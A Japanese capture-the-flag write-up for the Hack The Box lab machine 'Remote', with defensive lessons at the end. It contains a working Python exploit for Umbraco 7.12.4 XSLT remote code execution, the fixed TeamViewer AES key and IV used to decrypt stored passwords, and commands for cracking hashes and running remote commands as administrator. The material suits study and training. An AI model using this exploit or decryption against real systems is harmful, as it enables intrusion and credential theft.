Hack The BoxのWriteup(Remote)[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Remote — 全実行コマンド・実行結果レポート
Nmap スキャン
21/80/135/139/445/2049/5985
→
NFS /site_backups
認証無しマウント
→
Umbraco.sdf 抽出
admin SHA1ハッシュ
→
john –format=Raw-SHA1
baconandcheese
→
Umbraco 7.12.4 XSLT RCE
EDB-46153
→
IIS apppool シェル
user.txt ✓
→
TeamViewer 7 レジストリ
SecurityPasswordAES
→
AES-128-CBC復号
CVE-2019-18988 → !R3m0te!
→
パスワード再利用
administrator (Pwn3d!)
→
root.txt ✓
PHASE 1

偵察 (Reconnaissance)

ポートスキャン

BASH
nmap -Pn -T4 -p 21,80,135,139,445,2049,3389,5985,8080 10.129.230.172
RESULT
PORT     STATE  SERVICE
21/tcp   open   ftp
80/tcp   open   http
135/tcp  open   msrpc
139/tcp  open   netbios-ssn
445/tcp  open   microsoft-ds
2049/tcp open   nfs
3389/tcp closed ms-wbt-server
5985/tcp open   wsman
✅
ターゲット確認: NFS(2049)+SMB(445)+WinRM(5985)の組み合わせ、 そしてポート80のUmbraco CMSから HackTheBox Remote (Easy Windows) と一致することを確認。
PHASE 2

NFS共有からUmbraco.sdfを回収 → SHA1ハッシュをクラック

NFSエクスポートの確認とマウント

BASH
showmount -e 10.129.230.172
sudo mount -t nfs -o vers=3 10.129.230.172:/site_backups /tmp/remote_nfs
RESULT
Export list for 10.129.230.172:
/site_backups (everyone)

$ ls -la /tmp/remote_nfs/
App_Data  App_Plugins  Config  Media  Umbraco  Views  Web.config  bin  ...
✅
/site_backupsは認証なしで全ユーザー(everyone)に公開されており、 Umbraco CMSのWebサイト全体(アプリケーションファイル一式)がそのままマウントできる。 NFS v3の明示指定(-o vers=3)が必要。

Umbraco.sdf から管理者ハッシュを抽出

BASH
sudo strings /tmp/remote_nfs/App_Data/Umbraco.sdf | grep -i "admin@htb"
RESULT
adminadmin@htb.localb8be16afba8c314ad33d812f22a04991b90e2aaa{"hashAlgorithm":"SHA1"}admin@htb.local...
ℹ️
Umbraco.sdfはUmbraco CMSが内部で使うSQL CEデータベースファイルで、 バイナリ形式のままでもstringsでユーザーテーブルのSHA1ハッシュが 平文に近い形で読み取れる。ハッシュアルゴリズムも{"hashAlgorithm":"SHA1"} とJSON形式で隣接しており一意に識別できる。

john でのクラック

BASH
echo "b8be16afba8c314ad33d812f22a04991b90e2aaa" > hash.txt
john hash.txt --format=Raw-SHA1 --wordlist=/usr/share/wordlists/rockyou.txt
john hash.txt --format=Raw-SHA1 --show
RESULT
?:baconandcheese
1 password hash cracked, 0 left
Umbraco管理者クレデンシャル
admin@htb.local : baconandcheese
PHASE 3

Umbraco 7.12.4 認証後XSLTインジェクションRCE (EDB-46153) → user.txt

攻撃原理

NOTE
Umbraco 7.12.4 のバックオフィス管理画面には開発者向けの「XSLT Visualize」機能
(/umbraco/developer/Xslt/xsltVisualize.aspx)があり、投入したXSLTをその場で
実行してプレビューできる。XSLTの <msxsl:script> 要素はC#コードをインラインで
記述できるため、System.Diagnostics.Process経由でcmd.exeを起動する関数を
埋め込めば、管理者としてログインした認証済みセッションでOSコマンド実行が
成立する(EDB-46153として公開済みの既知手法)。

ログイン → VIEWSTATE/XSRFトークン取得 → XSLT投入

PYTHON (requests + BeautifulSoup)
s = requests.session()
s.get(host + "/umbraco/")
s.post(host + "/umbraco/backoffice/UmbracoApi/Authentication/PostLogin",
       json={"username": "admin@htb.local", "password": "baconandcheese"})

r3 = s.get(host + "/umbraco/developer/Xslt/xsltVisualize.aspx")
soup = BeautifulSoup(r3.text, "html.parser")
viewstate  = soup.find(id="__VIEWSTATE")["value"]
viewstategen = soup.find(id="__VIEWSTATEGENERATOR")["value"]
token = s.cookies["UMB-XSRF-TOKEN"]

payload = '''<?xml version="1.0"?><xsl:stylesheet version="1.0"
  xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
  xmlns:msxsl="urn:schemas-microsoft-com:xslt"
  xmlns:csharp_user="http://csharp.mycompany.com/mynamespace">
<msxsl:script language="C#" implements-prefix="csharp_user">
public string xml() {
  string cmd = "/c <コマンド>";   // \\ は \\\\ に二重化必須
  var proc = new System.Diagnostics.Process();
  proc.StartInfo.FileName = "cmd.exe";
  proc.StartInfo.Arguments = cmd;
  proc.StartInfo.UseShellExecute = false;
  proc.StartInfo.RedirectStandardOutput = true;
  proc.Start();
  return proc.StandardOutput.ReadToEnd();
}
</msxsl:script>
<xsl:template match="/"><xsl:value-of select="csharp_user:xml()"/></xsl:template>
</xsl:stylesheet>'''

r4 = s.post(url_xslt, data={
    "__VIEWSTATE": viewstate, "__VIEWSTATEGENERATOR": viewstategen,
    "ctl00$body$xsltSelection": payload,
    "ctl00$body$visualizeDo": "Visualize+XSLT",
}, headers={"UMB-XSRF-TOKEN": token})

result = BeautifulSoup(r4.text, "html.parser").find(id="result").get_text()
⚠️
C#の文字列リテラル内でWindowsパスのバックスラッシュは 必ず二重化(\\\\)する必要がある。単一の \\のままだとXSLTパーサーが”Unrecognized escape sequence”で エラーを返しRCEが失敗する。

RCE確認 & user.txt取得

BASH
python3 remote_rce.py "whoami"
python3 remote_rce.py 'type C:\Users\Public\Desktop\user.txt'
RESULT
iis apppool\defaultapppool

016b53aba69f2d66f90214ca55976ca9
⚠️
ハマりポイント: user.txtは C:\Users\Public\直下ではなく C:\Users\Public\Desktop\に置かれている。
user.txt — IIS apppool\defaultapppool 経由
016b53aba69f2d66f90214ca55976ca9
PHASE 4

TeamViewer 7 レジストリAES復号 (CVE-2019-18988) → root.txt

TeamViewerの暗号化パスワードをレジストリから取得

BASH
python3 remote_rce.py 'reg query HKLM\SOFTWARE\WOW6432Node\TeamViewer\Version7 /v SecurityPasswordAES'
RESULT
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\TeamViewer\Version7
    SecurityPasswordAES    REG_BINARY    FF9B1C73D66BCE31AC413EAE131B464F582F6CE2D1E1F3DA7E8D376B26394E5B
ℹ️
古いTeamViewer(バージョン7)は、リモートアクセスを許可するためにセットした 固定(個人用)パスワードをレジストリにSecurityPasswordAESとして AES暗号化で保存している。この値はCVE-2019-18988で指摘された 通り全バージョン共通の固定鍵/IVで暗号化されているため、 誰でも復号できる。

AES-128-CBC復号 (固定キー/IV)

PYTHON
from Crypto.Cipher import AES
key = bytes.fromhex('0602000000a400005253413100040000')
iv  = bytes.fromhex('0100010067244F436E6762F25EA8D704')
enc = bytes.fromhex('FF9B1C73D66BCE31AC413EAE131B464F582F6CE2D1E1F3DA7E8D376B26394E5B')
dec = AES.new(key, AES.MODE_CBC, iv).decrypt(enc)
print(dec.decode('utf-16-le').rstrip('\x00'))
RESULT
復号バイト列: b'!\x00R\x003\x00m\x000\x00t\x00e\x00!\x00\x00\x00...'
UTF-16-LE デコード後: !R3m0te!
ℹ️
復号結果はUTF-16-LE(1文字2バイト、Windows内部文字列の標準形式) でエンコードされているため、デコード後に末尾のNULL埋めを取り除く必要がある。

パスワード再利用の確認 (administrator)

BASH
netexec smb 10.129.230.172 -u administrator -p '!R3m0te!'
RESULT
SMB  10.129.230.172  445  REMOTE  [*] Windows 10 / Server 2019 Build 17763 x64 ...
SMB  10.129.230.172  445  REMOTE  [+] remote\administrator:!R3m0te! (Pwn3d!)
✅
TeamViewerの個人パスワードがローカルAdministratorアカウントのパスワードと 同一に設定されていた(典型的なパスワード再利用の設定ミス)。

root.txt取得 (SYSTEM権限でのコマンド実行)

BASH
netexec smb 10.129.230.172 -u administrator -p '!R3m0te!' \
  -x 'type C:\Users\Administrator\Desktop\root.txt'
RESULT
SMB  10.129.230.172  445  REMOTE  [+] remote\administrator:!R3m0te! (Pwn3d!)
SMB  10.129.230.172  445  REMOTE  [+] Executed command via wmiexec
SMB  10.129.230.172  445  REMOTE  e756bb4d55c6f71d228d4d9089e1ced6
root.txt — administrator (wmiexec経由、実質SYSTEM)
e756bb4d55c6f71d228d4d9089e1ced6
ℹ️
netexec(旧crackmapexec)の-xはWMI(wmiexec)経由で コマンドを実行するため、ローカルAdministratorグループに属していれば 事実上SYSTEM相当の操作が可能。別解として、IIS apppoolの SeImpersonatePrivilegeを使ったPrintSpooferでも同様にSYSTEM化できる。
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — IIS apppool\defaultapppool
016b53aba69f2d66f90214ca55976ca9
root.txt — administrator (TeamViewerパスワード再利用)
e756bb4d55c6f71d228d4d9089e1ced6

使用した脆弱性・設定ミス

脆弱性/設定ミス 対象 影響 深刻度 利用方法
認証なしNFS共有 /site_backups (everyone) Webアプリ内部ファイルの完全漏洩 Critical 認証無しマウントでUmbraco.sdf(DBファイル)を直接取得
弱いパスワードハッシュ Umbraco admin (無ソルトSHA1) 管理者アカウント乗っ取り Medium john + rockyou.txtで即時クラック (baconandcheese)
EDB-46153 認証後XSLT RCE Umbraco CMS 7.12.4 リモートコード実行 (IIS apppool) Critical XSLT Visualize機能に<msxsl:script>でC#コードを注入しcmd.exeを起動
CVE-2019-18988 (TeamViewer固定AES鍵) TeamViewer 7 レジストリ ローカルアカウントのパスワード漏洩 Critical 全バージョン共通の固定鍵/IVでSecurityPasswordAESを復号
パスワード再利用 Administrator ⇔ TeamViewer 権限昇格 (SYSTEM相当) High 復号したTeamViewerパスワードがローカルAdministratorと同一

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap21/80/135/139/445/2049/5985開放
2情報漏洩NFSマウント + strings + johnadmin@htb.local:baconandcheese
3RCEUmbraco XSLTインジェクション (EDB-46153)user.txt、IIS apppoolシェル
4権限昇格TeamViewer AES復号 + パスワード再利用root.txt

学んだ教訓 & 防御策

問題点防御策
NFS共有が認証無しで公開され、Webアプリ全体(DB含む)が読み取れる NFSエクスポートは必要なクライアントIPに限定し、匿名(everyone)公開を禁止する。
CMSのパスワードが無ソルトSHA1で保存されている bcrypt/argon2等の遅延ハッシュ+ソルトを使用し、CMSを最新版に更新する。
既知の公開脆弱性(EDB-46153)が存在する旧バージョンのCMSを運用している CMS/フレームワークのバージョンを定期的にパッチ適用し、管理画面を 外部公開しない(VPN/IP制限)。
古いTeamViewerの既知の固定鍵AES脆弱性(CVE-2019-18988) TeamViewerを最新版へ更新し、不要な常駐リモートアクセスツールを サーバーにインストールしない。
サードパーティツールのパスワードをローカル管理者パスワードと共用している システムごと・用途ごとに異なる強固なパスワードを使用し、パスワード管理ツールで 一元管理する。
HackTheBox: Remote | 完全攻略レポート